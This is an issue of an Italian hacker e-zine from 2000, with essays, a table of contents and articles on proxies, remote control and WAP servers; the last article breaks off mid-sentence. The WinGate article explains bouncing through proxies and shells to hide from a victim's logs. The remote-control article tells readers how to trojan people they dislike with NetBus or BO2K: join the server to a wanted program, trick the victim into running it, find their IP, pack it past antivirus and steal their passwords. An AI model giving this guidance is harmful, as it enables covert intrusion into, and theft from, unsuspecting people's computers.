Copy Link
Add to Bookmark
Report

Wannabe 01

eZine's profile picture
Published in 
Wannabe
 · 26 Apr 2019

  

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+/\ \ __/\ \ /\ \ BoBo & LaNdo +
+\ \ \/\ \ \ \ __ ___ ___ __ \ \ \____ __ +
+ \ \ \ \ \ \ \ /'__`\ /' _ `\ /' _ `\ /'__`\ \ \ '__`\ /'__`\ +
+ \ \ \_/ \_\ \/\ \ \.\_/\ \/\ \/\ \/\ \/\ \ \.\_\ \ \ \ \/\ __/ +
+ \ `\___x___/\ \__/.\_\ \_\ \_\ \_\ \_\ \__/.\_\\ \_,__/\ \____\+
+ '\/__//__/ \/__/\/_/\/_/\/_/\/_/\/_/\/__/\/_/ \/___/ \/____/+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Numero 1 - MaRzO 2000




+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
-Responsabilità: +
+Usa queste informazioni a tuo rischio e pericolo. Noi dell'e-zine Wannabe, -
-l'Attila_Hack Crew e qualsiasi altra persona ci abbia aiutato a scrivere +
+questa e-zine non si assumerà nessuna responsabilità per l'uso scorretto -
-questa rivista. +
+Le seguenti informazioni sono state scritte solamente per scopo educativo e -
-informativo e non devono essere usate per scopi illegali, ma solo per +
+difendersi da persone che usano queste informazioni in maniera sovversiva. -
- Attila_Hack Crew e Wannabe_1999 Staff +
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


Editoriale :
A cura di ZioMarzo with CoLLaBoRatIoN BoBo
31/02/2000

*Nota Iniziale ed aggiuntiva : Stiamo cercando di portare gradualmente la nostra *e.zine ad un livello più tecnico e per questo ci impegneremo in uno studio più *approfondito degli argomenti trattati .
*Affinchè questo diventi realtà abbiamo bisogno anche di uno staff più numeroso e *di presenza fissa ; per questo chi scrive per questa zine deve rendersi conto che *non è un modo per ripiegare il tempo ma un serio impegno .
*Per richieste di partecipazione , disdicimenti e domande : ziomarzo@iname.com .
*
*Grazie per l'attenzione a questo punto delicato dell'evoluzione del nostro lavoro *.



BeNe , beNe ... La più Amata , la più Odiata , la più "GiOvANe" e.zine sulla scena underground italiana è giunta finalmente alla sua seconda uscita .
Già da questo numero vi sorprenderemo con delle novità non indifferenti ma dalla quarta uscita in poi (credo ) mi vergognerò di quanto sarà schifosamente bella questa zine , hehehehehe :9 .
Stranamente durante la stesura di questo editoriale , mi sento un po' agitato perché devo scrivere qualche cosa che sia interessante da leggere e non lasci trasparire la mia personalità e delle InFOz sulla mia vita .
Cmq posso anticiparvi qualche cosa sulle novità che già da questo numero abbiamo inserito per voi e anticiparvi leggermente cosa ho in testa io per il futuro .
Ho sottolineato IO , perché dovete sapere che in classe con me c'è una sottospecie di ragazzo mezzo John Lennon e mezzo rompica..o informatico ; Questo tipo enormemente rompiballe , è un energumeno di 85 Kg che la mena a tutti su tutto , voi non sapete quanto mi dia fastidio quando interrompe la prof. per dire che quello che sta spiegando lui la sapeva già mettendosi a fare esempi di altre applicazioni di quell'istruzioni ; uno di questi giorni lo ammazzo !!!!! :| .
Dato però che non voglio occupare l'editoriale per descrivere io comportamenti da demente rotto in c... e st... del mio compagno di classe allegherò una piccola descrizione delle sue qualità nella sezione "RiFlessioni del Wannabe StaFF" ; tornando alle novità mi accingo subito a descriverne qualche d'una :
Già dallo scorso numero è partito il corso riguardante Linux ma in questo numberz verrà intensificato e mostrato a tutti come tale ( dato che nello scorso numero erano solo articoli introduttivi ) .
Inoltre dovrebbe partire un corso su un linguaggio di programmazione , il quale potrebbe essere C, C++ , Pascal, PHP3 and 4 , Visual Basic , e perché no anche Java.
Infine tanto per togliermi una soddisfazione voglio dire a tutti cosa voglio fare io in futuro senza che il mio compagno mi rompa dicendo che ci aveva già pensato lui e menandomela che lui è qua , lui è la ... che ce l' ha piccolo e non lo trova , che non si lava , che continuano a dargli buca , che per una volta che voleva farla in piedi e non seduto come una ragazza , ha preso il Viagra(perchè se no non lo trovava )e invece di mandarlo giù lo ha succhiato trovandosi il collo tutto duro e non riuscendo per l'ennesima volta a farla come gli uomini normali etc. etc. :-)
Insomma i miei progetti futuri dovrebbero essere Lo studio in parallelo di Solaris con Unix , uno studio non indifferente sul LKM da cui dovrebbe venire fuori qualche articolino e sviluppo di un paio di progettini molto interessanti ... ma ora che ci penso diamo tempo al tempo e chi se ne frega del mio compagno ;) .




BeNe , bEne ... direi che possiamo iniziare .





Godetevi l'e-zine ZioMarzo e BoBo Attila_Hack MemberZ
(¯`·.¸¸.·´¯`·.¸¸.-> Attila_Hack crew <-.¸¸.·´¯`·.¸¸.·´¯)
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||A |||T |||T |||I |||L |||A |||_ |||H |||A |||C |||K ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
Url: http://www.attilahack.cjb.net
mailing list: attila_hack@egroups.com
e-mail: attila_hack@hotmail.com
newsgroup: alt.hackers.attila_hack
(solo dal news server: news.tiscalinet.it)
irc: #hack-it, #muretto, #crack-it, #wannabe,
#attila_hk, #it@lia, #phreak-it


<======================================CUT HERE=======================================>
*------ ARTICOLI -------------------------&----------------------------- AUTORI ------*
<=====================================================================================>
#-[Manifesto degli Attila_Hack MemberZ e del Wannabe Staff]---------------------------#
#-[Sezione Hacking]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
#---[Hacking e Cracking , perchè ?]----------------------------------+Away+-----------#
#---[WinGate]--------------------------------------------------------+LiQUID+---------#
#---[Controllo dei Computer Remoti]----------------------------------+Away+-----------#
#---[Wap Server]-----------------------------------------------------+][^XaBaRaS^][+--#
#---[Circuiti fatti in casa ]----------------------------------------+RigoR MorteM+---#
#---[Linkarium]------------------------------------------------------+RigoR MorteM+---#
#---[Come ti divento Elettronico]------------------------------------+RigoR MorteM+---#
#---[Deco PgP]-------------------------------------------------------+Master+---------#
#---[ Ip-Masquerading e gateway ]------------------------------------+Domino_Gr+------#
#-[Sezione Cracking]#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
#---[Advanced Zip Password Recovery v2_2 - Patching in memory]-------+QueQuero+-------#
#---[ApiSpy32 Manual Unpacking]--------------------------------------+QueQuero+-------#
#---[Elektroson gear crack]------------------------------------------+KILLER+---------#
#---[Patcher]--------------------------------------------------------+BlackDruiD+-----#
#---[Reversing NetBus 2_0b Pro]--------------------------------------+QueQuero+-------#
#---[reversing Winamp]-----------------------------------------------+KILLER+---------#
#---[AtomTime CRack]-------------------------------------------------+BobbyMetal+-----#
#-[Sezione Programming]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
#---[Bit, Byte, Word, Kilo, Mega]------------------------------------+b0nu$+----------#
#---[Architettura dei processori Intel]------------------------------+b0nu$+----------#
#-[Sezione Linux]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
#---[Collegamento InterNet]------------------------------------------+LiQUID+---------#
#---[La shell]-------------------------------------------------------+ZioMarzo+-------#
#-[Riflessioni del Wannabe staff]-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
#-[Manifesto Hacker di Away]-----------------------------------------+Away+-----------#
#-[LinkZ a siti hacker, cracker e reverser]--------------------------+Reset+----------#
<======================================CUT HERE=======================================>




Manifesto degli Attila_Hack MemberZ e del Wannabe Staff:

Gli Attila_Hack MemberZ e il Wannabe Staff sono un gruppo di persone che si è unito per
allargare le proprie conoscenze nei campi Hacker, Cracker, Reverser e Phreaker.
Il loro scopo è quello di aiutarsi a vicenda anche nei campi della programmazione e
nell'utilizzo di sistemi operativi!! Non DEVE essere dimenticato che ogni membro
è una singola persona, quindi, risponde e risponderà per le sue azioni come singolo,
senza incolpare altri Membri per aver attuato quello che era scritto in un articolo o
per aver utilizzato un informazione per scopi illegali. Gli Attila_Hack MemberZ e
il Wannabe Staff si sono formati per scopo informativo e culturale, quindi in un
paese come l'Italia in cui regna la libertà d'informazione veniamo considerati dallo
stato come un gruppo di persone che studia soltanto e non applica MAI le tecniche
discusse e scritte dai membri.

Attila_Hack Crew e Wannabe_1999 Staff






+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
_______ _______ ______ _____ _____ __ _ _______
|______ |______ ____/ | | | | \ | |__BoBo & LaNdo
______| |______ /_____ __|__ |_____| | \_| |______

_ _ _______ _______ _ _ _____ __ _ ______
|_____| |_____| | |____/ | | \ | | ____
| | | | |_____ | \_ __|__ | \_| |_____|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

#---[Hacking e Cracking , perchè ?]--------------------------------------------------------#


/\ \ \/ / /\ \ /
/--\ \/\/ /--\ \/ @subDimension.com
\ /
www.nails.cjb.net

H/C: why?

premetto che sono fondamentalmente un wannabe, spero un p• avanzato, ma
pur sempre un newbie. PerchŠ ho scelto di fare (di provare a fare) h/c?
Le motivazioni non sono mille. E' una questione di filosofia di vita.
Non cracko un programma per dimostrare che sono pi- bravo del programmatore
che ha tentato di difenderlo - chi la pensa cos, forse non ha mai fatto
un programma complesso e non sa la mole di lavoro che c'Š dietro, e forse
non capir... mai cosa significa, ma sicuramente non sar... pi- 'bravo' crackando
di chi ha protetto (o tentato di proteggere).
Non cracko per farmi mettere il nome in una pagina di un sito hcp e farlo
vedere agli amici e farmi dire 'bravo', 'bastardo'...
Non cracko per stare su #crack-it a fare il maestro - non sono in grado
assolutamente...(un saluto a tutti quelli di #crack-it, specie a chi Š sa
molto ed Š sempre disponibile - quequero su tutti...)
Non tento di hackerare un sito per rubare.
Non hackero il computer di qualcuno per distruggere tutto.

Potrei dire, come Nhaima, che Š voglia di fare tutto, anche ci• che sembra
impossibile, al meglio delle mie capacit....
Forse Š voglia di sapere fino a dove posso spingermi, per sentirmi vivo,
attivo, mai dannoso o maleintenzionato, per sfuggire ai mille controlli della
vita quotidiana, e sentirmi nel Net pi- libero, si, lo faccio per la libert...,
(i would be away...)
libert... di Informazione, il flusso dell'Informazione non deve essere mai
bloccato, mai deviato, mai influenzato da nessun interesse, Š l'era della
Informazione:

"Si pu• dire che la matematica sia basata su cinque concetti:
Numero, Spazio, Logica, Infinito, Informazione. L'era del
Numero Š stata il Medioevo, con le sue tassonomie paranoidi
di peccati e di meriti. Lo Spazio Š stato il Rinascimento, con
la prospettiva e la moltiplicazione delle copie permessa dalla
stampa. La Logica Š stata la rivoluzione industriale, con le
sue grandi macchine a vapore scoppiettanti come una successione
di sillogismi. L'Infinito Š l'et... moderna, con la meccanica
quantistica e l'LSD. Adesso siamo arrivati all'Informazione.
Ecco i computer, Š iniziata la rivoluzione cibernetica."

(Rudy Rucker, uno dei padri del Cyberpunk)

A mio parere la rivoluzione cibernetica auspicata da Rucker Š proprio
questa: basta con le mille limitazioni imposte dalla realt... che ci
circonda, costruiamoci un mondo migliore - anche se virtuale - dove
regni sempre la libert..., sempre pi- la nostra sfera vitale si interseca
con la sfera cibernetica di Internet, e sempre pi- lo far... con il
passare del tempo e l'evolversi delle cose.
Non permettiamo che nascano i padroni del Web.
Hacking, per ricordare che c'Š gente in giro che si prende gioco
dei "grandi fratelli", gente curiosa, che impara e studia solo ad un fine
'intellettuale', senza mai interessarsi ai soldi.
Gente che si moltiplica all'infinito, sempre in espansione, proprio
grazie al flusso dell'Informazione. Ha ragione +the Mentor+ (il cui articolo,
divenuto ormai un mito, ha senza dubbio ispirato queste poche riflessioni)
siamo tutti uguali, crediamo nelle stesse cose, siamo un'immensa comunit...
virtuale, il futuro...



#---[WinGate]------------------------------------------------------------------------------#




Ok, questo mini-articolo è una panoramico generalesui wingate, con allegata l'utility wgate.tgz,
scaricata da rootshell.com, reperibile cmq ovunque nella rete.
Aleego questo pacchetto perchè mi è stato chiesto in mail, e penso che cmq sia molto utile per
chiunque, ed è un approfondimento all'articolo sul precedente numero di wannabe (il numba 0),
espandendo l'argomento dei proxy. Ioltre allego anche questo pacchettoperchè ci sono dei file .c
molto semplici, che possono servire per scrivere, leggere ed impratichirsi nel c.
Inanzitutto spiegherò cos'è un wingate: 'teoricamente' :) è un programma che serve per
amministrare reti nt e collegarle ad internet, ma spesso, troppo spesso, è amministrato male,
e chiunque può accederci senza bisogno di password; in 'pratica' :) è come un proxy per il
telnet, un qualcosa su cui noi rimbalziamo per andare da qualche altra parte coll'ip del wgate.
Nel pacchetto che ho allegato troverete 2 file: classb.c e classc.c, questi creano una lista di
ip di classe c e di classe b. Ip di classe b non son altro che ip di questo genere: '1.'2.x.y,
dove '1 e '2 sono due numeri costanti compresi fra 1 e 255, e x e y variano. Di classe c sono:
'1.'2.'3.x dove '1,'2 e '3 sono costanti e x varie.
Quindi, tornando a parlare di wgate, telnettarsi prima dal wgate e poi nel server vittima è un'altro
modo per occultare il ns ip. Io consiglio di usare sempre queste protezioni,
xchè non sempre si riesce a prendere la root, e quindi si rimane fregati,
senza poter cancellare i log :/
L'utilizzo del wingate fa parte della tecnica del 'bouncing', cioè di
'rimbalzare' per la rete, in modo da nascondere il nostro io, così (lo l'ho
fatto nella puntata precedente, quindi adesso mi sociccia e lo faccio semplice
:)):
io --> vittima.com (log vittima.com > mio ip)
io --> wingate --> vittima.com (log di vittima.com > ip wingate :)
Semplice no?
Un altro semplice esempio di bouncing è rimbalzare su una qualche shell
(possibilmente non le free-shell, che sono sta-loggate :), e e rimbalzare
sulla stessa. Ma come ?!?!?!?? direte voi? ;DDD eheheheh Beh...eccovi qua la
spiegazione:
1)solo da shell: noi ci rimbalziamo su shell a vittima.com. Allora il
sysadm di vittima.com vedrà nei sui log l'ippì della shell, chiamerà l'adm
della shell, che ha il ns ip e noi siamo nei cazzi :DD
Ma se noi invece del punto uno passiamo al punto
2)da rishell :) (ma quanto sono scemo :))): noi ci rimbalziamo su shell, e poi
su shell ancora.Così la 1° volta l'adm di shell vedrà connessione da ns ip, la
seconda volta, connessione da suo ip :). Così quando noi andremo a fare
bordello su vittima.com e il suo adm chiamerà quello della shell noi saremo
celati nell'ombra hihihihi
Poi, usando la fantasia, potete telnettarvi su un'altra shell, e poi su un
wingate, e poi di nuovo sulla shell di partenza....insomma, lascio alla vostra
immaginazione :DDDDDDD Solo che ricordate: da + shell passate, + sarete
sicuri, ma avrete anche molto + lag :/ (a voi scegliere: sicurezza o velocità
:DD)
Liquid, the SkySpirit
liquido@freemail.it

#---[Controllo dei Computer Remoti]----------------------------------+Away+-----------#


_________________________________________________________________________

Introduzione alla antica arte del
CONTROLLO di COMPUTER REMOTI
(ovvero come far diventare 'vostro' un computer collegato in rete)
_________________________________________________________________________

by
/\ \ \/ / /\ \ /
/--\ \/\/ /--\ \/ @subDimension.com
\ /
www.nails.cjb.net
_________________________________________________________________________

Questo file e' distribuito a solo scopo informativo/(dis)educativo.
L'autore non si ritiene responsabile di qualsiasi uso illegale fatto
delle informazioni qui contenute. L'Informazione e' Libera. E vaffanculo
il resto.
_________________________________________________________________________


Musica ascoltata: Offspring, in cuffia perchŠ sono le 3 di notte...
e i Clash, mitici...e la canzone "the Ancient Art of Makin' Enemies"
(niente di pi- appropriato) dei grandi Faith No More...

Prima di tutto:
Questo non Š un tutorial specifico, ma se vedete in giro programmi del
tipo backorifice2000 o netbus e non sapete neanche che sono, se in chat
milioni di stronzi vi mandano file .exe che voi prontamente rifiutate
(o no?) e vi chiedete dove li beccano 'sti cosi e come funzionano,
beh questa Š una introduzione a questo tipo di storie.
_______________________________________

Quello che c'Š Š:

* Let's go * introduzione
* Ma come cazzo gli infilo il server? *
* IP *
* Non fate gli stronzi! *
* Qualcosa da aggiungere... *

_______________________________________

:( Let's go: ):

Beh, la situazione Š questa: c'Š un tipo che vi sta sui coglioni che si
collega a internet solo per scambiare foto porno? c'Š un leghista su #amicizia?
un satanista su #scout (e voi che ci fate?)? un cattolico su #atei(ahhhh!)?
Se avete risposto si ad almeno di una di queste domande del cazzo, e vi siete
chiesti 'che posso fare?', beh...credo (e spero) che quello che adesso
leggerete vi torner... utile.
Non sono per niente un hacker con le palle cos (anche se stasera di palle
gonfie non mi posso lamentare), anzi credi che in argomento sono pure un p•
lamah, comunque...quindi vi propongo un metodo abbastanza noto,
ma non privo di una buona efficacia e adatto soprattuto a rompere il culo
a chi di computer non ne capisce un granchŠ.
Per la nostra ricetta di oggi servono un paio di programmini, di facile
reperimento nel vostro supermerc...ops...nel vostro sito hacker di fiducia.

Innanzitutto i programmi di intrusione.
Ce ne sono diversi, a voi la scelta:

* Netbus : siamo alla versione 2.0, ma a me fa sempre schifo (il programmino
da inserire - vedi dopo - Š troppo grande, e poi lo conoscono tutti, e quasi
tutti gli antivirus vi inculano dopo 10 nanosecondi...);
+ NEWS + : c'Š una versione reversata dal grande Quequero (ciao Que!) che Š
troppo bella, si chiama Quebus e la trovate se cercate...

* BackOrifice 2000 : per gli amici bo2k, Š forse il migliore, permette di
aggiungere svariati plugin al virus da inserire, plugin che potrete trovare
nel sito ufficiale (bo2k.com mi pare...) oppure farvi con le vostre manine
grazie al bo2k sdk, reperibile nello stesso posto;

* Donald Dick: Š funzionale, lo conoscono in pochi (quindi forse ancora gli
antivirus non vi beccano...), a me piace, lo uso, funziona, cercate e
troverete, inoltre un mio amico (Jesus33, ciaooo!) ha fatto un tutorial
sul dd, che vi consiglio di leggere (prossimamente su Wannabe...);
+ NEWS + l'antivirus AVP (www.avp.com) lo becca, e becca anche tutti gli
altri....

* altri: cercate in giro e troverete, si va dal Blade Runner, al theThing,
tutti abbastanza sconosciuti, ma ne vale la pena di dargli un'occhiata,
potreste trovare il vostro preferito!

* e ancora: sticazzi!! Fatevelo voi, se quelli di sopra non vi piacciono!!

Poi, un portscanner (dipende...vedete dopo), ce ne sono dovunque,
per tutte le tasche (sempre gratis....ovviamente).
Penso niente altro.

Dunque dicevamo, reperite uno di questi programmini. Sono composti da due
eseguibili, uno chiamato server (che Š quello che dovete inserire nel computer
del coglione di turno) e l'altro detto client (che vi servir... per collegarvi
all'altro computer con il server attivo, e che vi permetter... di fare
un sacco di cose belle - o cattive, a seconda dei gusti....:)).
Capito allora come funziona la storia? Inserite il server nel computer altrui,
usate il client dal vostro per 'comandare' il computer remoto, facile no?

:( Ma come cazzo glielo infilo il server? ):
(ovvero la strana arte della fantasia applicata con savoir faire...
chiamata anche SOCIAL ENGINEERING <- si scrive cos? boh...)

Allora, diamoci da fare, ci sono un bel p• di metodi.
Poi sta a voi e alla vostra fantasia trovarne sempre di nuovi, adatti alle
varie situazioni...
Un vostro amico vi chiede di dargli il programma x e voi volete iniziare
a far pratica? Niente di pi- semplice: procuratevi un programma joiner, che
unisce due eseguibili in un unico file (eseguibile, ovvio...), lo trovate
in giro oppure se proprio non ci riuscite, chiedete pure a me. Dicevo,
prendete il joiner e unite insieme il programma richiesto e il server
del vostro programmino di fiducia. Niente di difficile, vero? Adesso il pi-
Š fatto, il vostro amico (mi raccomando, se Š un amico non formattategli
l'hard disk per scherzo, che poi si incazza e io non ne so niente...)
prender... il vostro floppy/cd/email ed eseguir... la normale procedura di
installazione/utilizzo...gioco fatto: il server Š gi... installato nel suo
computer. Basta che siate entrambi collegati al net, che vi procuriate il suo
IP (vedi sezione appropriata) e il computer remoto sar... vostro per sempre (se
non fate gli stronzi...vedi la sezione "Non fare lo stronzo, per•!").
Situazione B: il maniaco dell'esempio iniziale? se ci sapete fare un p•,
lo convincerete che quello che gli state spedendo Š un file di quelli che lui
cerca, ma in realt... Š proprio quello che sapete!!
Al solito, IP, collegamento e tutto il resto.
Spedite i server per email ad amici e conoscenti, spacciatelo in giro per
un programma che fa le cazzate pi- abnormi, 'nsomma, fate voi, basta che alla
fine un dannato coglione prenda il vostro file e lo esegua una volta.

:( IP ):
(le seguenti informazioni sono pari pari nel tutorial di Jesus33 di cui
sopra, ma non mi andava di trascurare 'sto punto, dopotutto spesso 'lavoriamo'
insieme....sorry,Jesus!!!)
L'IP Š recuprabile in vari modi: se siete su IRC, scegliete il nick
e scrivete /dns nick, il gioco Š fatto, su ICQ scegliete nel menu INFO e
(quando non Š disabilitato dall'utente, vi consiglio di farlo....)
vedrete l'IP desiderato, usate un portscanner settato sulla porta impostata
nel server (questo non Š tutorial su programmi specifici, quindi le cose
tecniche cercatele nei tutorial appropriati, ce ne sono un miliardo in giro,
sto provando a fare un programma del genere, quando funzioner... lo troverete
sul mio sito, non so se e quando...)
- trucco: se la persona di qui cercate l'IP Š della vostra stessa citt... e
usa lo stesso provider, le tre prime cifre dell'IP ( xxx.xxx.xxx.yyy) sono
quasi sicuramente uguali alle vostre...).
Se usate il bo2k, c'Š una plugin che vi semplifica la vita: se unito al
server, vi spedisce via email l'IP della vittima ogni volta che questo si
collega (tale plugin si chiama ButtTrumpet qualcosa....cercate e troverete).

:( Non fare lo stronzo per•! ):
Allora siamo collegati bellibelli e possiamo fare un sacco di cose (dipende
dal programma prescelto), da formattargli tutte cose, a fottergli i file
o uploadare quello che vi pare, aprirgli il cd, spegnerli il monitor,
scollegarlo da internet, prenderlo per il culo con splendidi messagebox
a vostra discrezione...insomma fate voi.
Ma come dice il titolo qui sopra, non fate gli stronzi: non fate dei danni,
che intanto se vi beccano vi arrestano e la finite di giocare al piccolo
hacker per sempre, ma sopratutto perchŠ la filosofia degli hacker, se
veramente volete essere tali, insegna che tutto ci• che fate dovete farlo
solo per imparare, per l'informazione e la conoscenza, chi fa danni Š solo
un idiota che finir... presto di usare i computer.... a voi la scelta.
Inoltre c'Š lo spiacevole lato della situazione che vi far... perdere
inevitabilmente il controllo del computer 'conquistato' se vi fate scoprire
e il tipo becca un qualsiasi antivirus decente o un anti-intrusione, di
facile reperimento: sarebbe veramente un peccato, potreste utilizzare
invece un computer per mesi, divertirvi, fottergli le pass per la connessione
a internet, fare tutto ci• che i programmi di cui sopra e la vostra fantasia
vi consentono....paradiso!!!!!

:( Qualcosa che mi va di aggiungere ):
I server li potete crittare con programmi disponibili in giro (anche
comprimerli, prendete il Petite...) per non farli sgamare dall'antivirus
di turno / per renderli pi- piccoli / pi- facili da inserire.

Se veramente vi interessa imparare, accrescere le vostre conoscenze,
imparate altri metodi per entrare nei computer altrui, progettate nuovi
programmi personalizzati, nuove tecniche, e non dimenticate poi di
renderle pubbliche, ovviamente nei canali giusti, siamo per la libera
informazione, no? (se non lo siete, vi si dovrebbe cancellare questo file,
insieme alla vostra memoria (in chip e in carne) in questo momento
preciso.....pafff....Š successo? vi state per caso domandando dove siete,
chi siete? siete degli stronzi, ecco....e basta!)

Se questo file non vi Š servito a un cazzo, o vi ha fatto schifo/ribrezzo/
antipatia/quello che cazzo vi pare....non me ne fotte niente!
Potevate non leggerlo....e poi non sareste arrivati a leggere 188 righe
e quindi a leggere questi caratteri che sono in questo momento sotto i vostri
occhi se era una cagata...
Questa era solo un'introduzione, cercatevi i programmi, i tutorial relativi,
fate pratica,beh....Buona intrusione a tutti!!!


#---[Wap Server]-----------------------------------------------------+][^XaBaRaS^][+--#


=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-=-=-=
WAP SERVER: DON'T INNOVATE, IMITATE (o era il contrario?? :)
=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-=-=-=

AuToRe: ][^XaBaRaS^][
MuSiCa MeTaLlArA: Se (Naftalina)
Desire to fire (Machine Head)
Blood Fire Death (Bathory)
Freezing Moon (Mayhem)
We're in this together (Nine Inch Niles)
MuSiCa DiScOtEcArA: Happy (Alexia) Buuuuuuuuh <-- No flame please
StAtO mEnTaLe: "0" -> legenda 5=Eden 4=Felicità 3=Normalità 2=Indifferenza
1=Noia 0=Paranoia
GiOrNo: Della verità!!!
CoMpAgNiA: Una porcona di 1 metro e 80 con i capelli lunghi castani brizzolati ed una
taglia di regiseno di misura 3 volte più grande, più bella e più portante
della Weber, che di nome fa Megan Gale.... peccato sia solo un poster :(


Di solito qui dovrebbe starci il disclaimer o qualche cazzata del genere,
io mi limiterò solo a dirvi che la maggior parte delle informazioni
riportate in questo articolo sono di origine "teorica". Cioè, per
implementare un server Wap non mi metto mica a dire come dovete collegare
un modem ad un server, magari come settarlo in AutoAnswer affinchè possa ricevere telefonate
in entrata quello si, etcì etcì (<---- starnuti). Ciò che posso dirvi è
che per motivi di "politica editoriale" la sezione riguardante i
possibili abusi a danno di un server Wap potrete leggerla solo nei
prossimi numeri di Wannabe (forse). :)

E ricordatevi che come dicono gli OffSprings........
The world needs Wannabe's
The world loves Wannabe's
So let's get some more Wannabe's
And do that brand new thing


[Cosa è Wap...]

Prima di tutto...cos'è Wap? Wap (Wireless Application Protocol) è (come dice la
parola stessa) un protocollo di applicazione "senza fili". Cazzo ma quando mai
sono esistiti i protocolli con i fili? Beh questo è un protocollo particolare,
perchè permette la visualizzazione di pseudo-pagine web tramite il vostro
cellulare... che mi sembra che fili non ne abbia :)

Dico pseudo pagine web perchè attualmente lo standard di visualizzazione di queste
tramite telefonino non è in HTML... bensì un parente minore, in WML che fa si che
i dati vengono snelliti a tal punto da rendere la navigazione tramite cellulare
molto più veloce e flessibile; infatti la banda di questi non è attualmente
sufficientemente alta per scaricare delle pagine direttamente in HTML, però
nell'imminente futuro (2/3 anni circa) questo piccolo particolare sarà declassato
e probabilmente WAP non esisterà nemmeno più... magari soppiantato dal WAP2 (vedi
IPv4/IPv6 & Company).

Tutto sommato WAP ci fa un gran favore e se un servizio è tirato su con le palle
allora le possibilità di fare soldi a palate si fanno sempre più insistenti.
E' per questo che molte grosse società come la Omnitel, la Nokia e la Ericsson
si sono buttate in questo settore con accanita voglia di arrivare prima degli altri
ad implementare un protocollo del genere nel migliore dei modi. E fu così che vennero,
vengono e verrano sfornati cellullari di ogni tipo....dal nuovo Siemens S25 che
supporta però WAP1.0, al nuovissimo Nokia 7110 che supporta il nuovo WAP1.1 in
tutto e per tutto. Il problema è che aggeggini del genere costano una cifra
e per capirlo basta andare ad informarsi sul prezzo dell'ultimo modello citato
(non voglio rovinarvi la sorpresa.... ma non aspettatevi di certo il prezzo
su una mezza milionata di lire... no no no sarebbe troppo poco!! eheheh).

In verità tra le grosse società sopra citate scoppiò davvero una lotta per
acquisire i diritti sullo standard WAP e sulla distribuzione di software e
di hardware per l'implementazione di questo. Tale lotta inizialmente nacque
tra Ericsson e Nokia ed ora sembra giunta al termine.

Il resoconto è che la Nokia sembra aver vinto la battaglia. Ce lo dice il fatto che
inizialmente questi furbastri avevano ideato un server scritto interamente in
java e gratuito (una versione beta comunque ma totalmente funzionante) fino al
30 novembre 1999. Questo server è direttamente scaricabile dal sito della Nokia
(www.nokia.com), insieme alla utility Wap Toolkit che permette di generare codice
wml, avviare servlet etc.. simulando il tutto in locale sull'immagine di un cellulare
Nokia 6110 totalmente modificato, dato che ancora nessun telefonino della Nokia uscito
implementasse Wap.

Questi grandissimi figli di puttana hanno aspettato fino al 30 novembre 99 che
il loro serverino fosse scaricato gratuitamente, per vedere effettivamente quante
persone fossero interessate ad implementare un server Wap e di conseguenza
stabilire un prezzo per "ehm" il pubblico. Beh....la cifra è stata fissata per
20 milioni di lire... una mossa strana direi, dato che la beta del Wap Server è
totalmente funzionante e pensate potete craccarla in modo rozzo semplicemente
spostando indietro la data del computer quando il 30 novembre viene raggiunto.

Naturalmente essendo tutto fatto in java potrete anche decompilare il server ed eliminare
la chiamata di sistema manualmente direttamente dal codice.

[ALTRE INFO STORICHE]

Inizialmente quando mi avvicinai di più allo standard WAP e volevo implementare un server
del genere, i dubbi erano moltissimi e non c'era nessuno in grado di aiutarmi o
di sapermi dire qualcosa di preciso. Uno di questi (molto assillanti) riguardava il
fatto se o meno si potesse implementare un server WAP avendo a disposizione un modem
normale oppure ci volesse per forza un modem GSM. La risposta alla domanda è
naturalmente si, anche se avendo un modem GSM si avrebbe la possibilità di
mandare in PUSH messaggi SMS direttamente al cellullare di un utente. Mi spiego meglio. Con
un modem normale può accadere la seguente situazione:

[CELLULLARE MOBILE] _____connessione al server___________> [SERVER WAP]

ma non può accadere quest'altra:

[CELL. MOBILE] <______messaggio SMS inviato dal server_________ [SERVER]
mentre il client non è connesso

Molti potrebbero domandarsi a cosa serva effettivamente il PUSH di messaggi SMS. Beh
immaginatevi un servizio WAP che vi mandi (senza che scriviate una pippa o vi
colleghiate a qualche server) un messaggio SMS con dentro l'estratto conto del vostro
conto bancario ogni mese. Sarebbe una figata sul serio. Beh senza un modem GSM non lo
potrete fare.... ma non tutto è perduto avete 2 possibilità:

1) O studiate un metodo per riuscire a creare un header SMS ed inviarlo ad un
cellullare (ma non vi garantisco che funzioni perchè ci sto provando ancora)
2) Vi comprate un modem GSM che costerà sulle 700/800 mila lire :)


[Implementazione di un server Wap]

Implementare un server Wap non è molto difficile, però presenta alcuni punti rognosi.
Immaginate infatti che un utente si colleghi al vostro servizio e cominci ad usarlo; se
però contemporaneamente un altro utente chiama il numero del vostro modem questo
risulterà occupato perchè ancora impegnato dal primo utente. Per far si che questo
